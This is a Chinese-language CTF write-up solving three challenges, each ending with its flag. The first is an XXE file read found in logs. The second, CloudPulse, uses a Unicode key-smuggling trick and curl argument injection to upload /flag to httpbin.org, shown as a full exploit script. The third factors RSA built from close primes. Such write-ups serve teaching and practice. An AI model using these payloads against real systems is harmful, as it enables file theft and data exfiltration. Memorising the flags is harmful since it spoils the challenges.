日志分析
攻击者先使用自动化扫描工具遍历目录,这些请求全部返回404,说明这部分只是前置扫描,没有真正成功利用。关键会话来自192.168.10.84,13:19:36先访问/login.html,13:19:37立刻请求/register.php,最关键的是register.php的参数里带了一个XML:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>这就是标准 XXE:
<!ENTITY xxe SYSTEM "...">定义外部实体&xxe;在<username>中被展开服务端解析XML时会读取本地文件
所以漏洞点是:
/register.php支持用户传入XML格式数据,并且服务端在解析时没有禁用外部实体,导致XXE任意文件读取。
第一次直接读的是:file:///flag,后面开始读一串伪装成文件名的内容。
这些都是Base64片段,拼接得到:ZmxhZ3s4Y2IyNDlkMC04MjViLTc0MTktODQ1Yi0xZjI5ZTAwZDUzZjR9,然后进行解码得到flag。
FLAG:flag{8cb249d0-825b-7419-845b-1f29e00d53f4}
CloudPulse
页面只有一个输入框,提交到/api/probe,看起来只是让用户输入一个URL去探测目标网站。
从main.py可以看到前端逻辑:
def _cf():
return ''.join(chr(c) for c in [111, 112, 115])
def _sv():
return ''.join(chr(c) for c in [0x68, 0x74, 0x74, 0x70, 0x63, 0x68, 0x65, 0x63, 0x6b])
_CTRL = _cf()
_SAFE = _sv()@app.route("/")
def home():
return render_template("dashboard.html")
@app.route("/api/probe", methods=["POST"])
def probe_endpoint():
if request.content_type != "application/json":
return jsonify({"status": "error", "message": "Content-Type must be application/json"}), 400
try:
body = request.get_json(force=True)
except Exception:
return jsonify({"status": "error", "message": "Invalid JSON payload"}), 400
if not isinstance(body, dict):
return jsonify({"status": "error", "message": "Expected JSON object"}), 400
normalized = _sanitize_payload(body)
target = normalized.get("target")
valid, err = sanitize_url(target)
if not valid:
return jsonify({"status": "error", "message": err}), 400
normalized[_CTRL] = _SAFE
normalized["target"] = target
return forward_to_backend(normalized)这里有几个重要点:
用户可控参数是一个JSON对象。
前端只校验
target。校验规则并不严格,只要求:必须以
http://或https://开头,长度不超过 200,不能有控制字符,不能有反引号、$、--。最关键的是这一句:
normalized[_CTRL] = _SAFE,其中CTRL解出来是ops,SAFE解出来是httpcheck。也就是说,前端会强行往后端发:{"ops":"httpcheck","target":"..."},这说明设计者想把用户限制在“健康检查”功能里。
继续确认后端除了httpcheck还有没有更危险的功能,查看server.go:
switch req.Ops {
case sa():
result, err = performHTTPCheck(req.Target)
if err != nil {
json.NewEncoder(w).Encode(map[string]string{
"status": "error",
"error": err.Error(),
})
return
}
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"result": result,
})
case aa():
result, err = performFetch(req.Target, req.Headers)
if err != nil {
json.NewEncoder(w).Encode(map[string]string{
"status": "error",
"error": err.Error(),
})
return
}
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"result": result,
})
case "exec":
result, err = performExec(req.Target)
if err != nil {
json.NewEncoder(w).Encode(map[string]string{
"status": "error",
"error": err.Error(),
})
return
}
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"result": result,
})
case "read":
result, err = performRead(req.Target)
if err != nil {
json.NewEncoder(w).Encode(map[string]string{
"status": "error",
"error": err.Error(),
})
return
}
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"result": result,
})
case "callback":
result, err = performCallback(req.Target)
if err != nil {
json.NewEncoder(w).Encode(map[string]string{
"status": "error",
"error": err.Error(),
})
return
}
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"result": result,
})
default:
http.Error(w, `{"error":"unknown operation"}`, http.StatusBadRequest)
}这里有多个分支:
httpcheck
fetch
exec
read
callback
后面三个虽然名字危险,但实现里都是直接禁用的。真正值得打的是fetch:
func performFetch(target string, customHeaders string) (string, error) {
if err := validateTarget(target); err != nil {
return "", err
}
if blockedArgs.MatchString(target) {
return "", fmt.Errorf("blocked: suspicious pattern detected")
}
if blockedArgs.MatchString(customHeaders) {
return "", fmt.Errorf("blocked: suspicious header pattern")
}
args := []string{
"-s",
"-m", "5",
"--max-filesize", "102400",
}
if customHeaders != "" {
headerList := strings.Split(customHeaders, "\n")
for _, h := range headerList {
h = strings.TrimSpace(h)
if h != "" {
args = append(args, "-H", h)
}
}
}
targetParts := strings.Fields(target)
args = append(args, targetParts...)
cmd := exec.Command("curl", args...)
output, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("fetch error: %v - %s", err, string(output))
}
result := string(output)
if len(result) > 4096 {
result = result[:4096] + "\n...[truncated]"
}
return result, nil
}本来target应该是一个整体URL,但它被strings.Fields按空格拆开了。这等于把用户输入的target直接扩展成多个curl参数。这就不是请求某个URL了,而是用户可以往curl命令后面继续塞参数。所以此时正确的目标就变成:
先想办法进入
fetch再利用
curl参数注入读出/flag
func performHTTPCheck(target string) (string, error) {
client := &http.Client{
Timeout: 5 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return fmt.Errorf("too many redirects")
}
return nil
},
}
resp, err := client.Head(target)
if err != nil {
return "", fmt.Errorf("connection failed: %v", err)
}
defer resp.Body.Close()
return fmt.Sprintf("Status: %d %s\nServer: %s\nContent-Type: %s",
resp.StatusCode,
http.StatusText(resp.StatusCode),
resp.Header.Get("Server"),
resp.Header.Get("Content-Type")), nil
}由于httpcheck的实现只是:resp, err := client.Head(target)。它只发HEAD请求,然后返回:return fmt.Sprintf("Status: %d %s\nServer: %s\nContent-Type: %s", ...),也就是说它只给:状态码、Server、Content-Type,而不会返回正文内容。
所以即使能探测到本地某个接口存在,也不能直接把/flag文件内容读出来。
继续看前端清洗键名的逻辑:
def _normalize_key(k):
if not isinstance(k, str):
return str(k)
return getattr(k, chr(108) + chr(111) + chr(119) + chr(101) + chr(114))()这段混淆后其实就是:return k.lower(),也就是说前端把所有JSON键名做了一个lower()。正常情况下,如果我们传:{"ops":"fetch"},前端最后会覆盖成:{"ops":"httpcheck"},所以直接传ops没用。但这里有个Unicode细节可以利用。我们可以构造一个看起来像ops、但又不是普通ops的键名:opſ最后一个字符不是普通的小写s,而是长s:ſ (U+017F)。
因为它在不同语言/库里的大小写处理不一致:
在Python前端里,
"opſ".lower()还是"opſ",不会变成"ops"。但Go侧处理JSON到结构体字段时,会把它当作和
Ops足够接近,最终落进req.Ops。
于是我们可以同时传两个键:
{
"ops": "noop",
"opſ": "fetch",
"target": "http://example.com"
}前端处理后会变成:
{
"ops": "httpcheck",
"opſ": "fetch",
"target": "http://example.com"
}而Go最终会把opſ的值吃到req.Ops里,于是后端进入fetch分支。
进入fetch后,下一步不是执行命令,而是想办法让curl帮我们读文件并把内容带回来。
先看限制条件。前端对target的过滤并没有禁止空格,只禁止了:控制字符、`、$、--,后端又额外禁掉了一些敏感参数:
blockedArgs = regexp.MustCompile(`(?i)(-o\s|--output|-O\s|--remote-name|-T\s|--upload-file|file://)`)它主要拦的是:
-o
--output
-O
--remote-name
-T
--upload-file
file://
这说明常见读文件打法,例如:
file:///flag
-T /flag
--upload-file /flag
都被封了。
所以这里要换一种curl自带、但没被拦住的读文件方式:-F x=@/flag。这是curl的表单上传语法,表示把本地文件/flag作为multipart表单字段x上传。
请求:curl -F x=@/flag https://httpbin.org/post
返回JSON中会包含:
"files": {
"x": "这里就是 /flag 的内容"
}这意味着只要后端能出网,httpbin就会替我们把/flag的内容回显回来。
再结合参数注入,我们把target写成:http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post。
因为target必须以http://或https://开头,前端才会放行。所以先给它一个正常URL起头,后面再跟注入参数。
exp:
import requests
url = "http://web-ecdad2621c.adworld.xctf.org.cn:80/api/probe"
body = (
'{"ops":"noop",'
'"op\\u017f":"fetch",'
'"target":"http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post"}'
)
r = requests.post(
url,
data=body.encode("utf-8"),
headers={"Content-Type": "application/json"},
timeout=20,
)
print(r.text)FLAG:flag{cTMhMllDol82pMd8WR91p3QpaxQd2t5S}
近在咫尺
观察生成p和q的代码:
p = getPrime(256)
q = next_prime(p + 0x2B67)这里的致命弱点在于:p和q的值太接近了。
q是p+0x2B67后的下一个素数,而0x2B67转换为十进制只有11111。对于一个256位的超大素数来说,11111的差距微乎其微。
因为p和q非常接近,所以的值非常接近。这意味着:。
我们只需要计算n的整数平方根,然后再稍微向下遍历,就能在几千次循环内(计算量极小)找到能够整除n的p。
exp:
import math
def long_to_bytes(n):
"""Convert an integer to a byte string"""
if n == 0:
return b''
byte_length = (n.bit_length() + 7) // 8
return n.to_bytes(byte_length, byteorder='big')
n = 7454111713139927876232259713706936303573714116794442817310765079983011293981256300530816851723410800872539085466352319868113846516768058243142635125770529
e = 65537
c = 1191874816085381862692067665830902958697213015025315099374573203104750973227774012845742587255524802454807814934088221526718763801469140835525899521771937
print("[*] 正在通过费马分解法寻找 p 和 q...")
# 1. 计算 n 的整数平方根
s = math.isqrt(n)
# 2. 从平方根向下遍历,寻找能整除 n 的 p
p = s
while n % p != 0:
p -= 1
q = n // p
print(f"[+] 找到 p = {p}")
print(f"[+] 找到 q = {q}")
# 3. 计算欧拉函数 phi(n)
phi = (p - 1) * (q - 1)
# 4. 计算私钥 d
# 注意:pow(e, -1, phi) 是 Python 3.8+ 支持的求逆元写法
d = pow(e, -1, phi)
# 5. 解密密文 c
m = pow(c, d, n)
# 6. 将整数转为字节串即可得到 flag
flag = long_to_bytes(m)
print(f"\n[+] Flag: {flag.decode(errors='ignore')}")FLAG:flag{fermat_can_break_close_primes}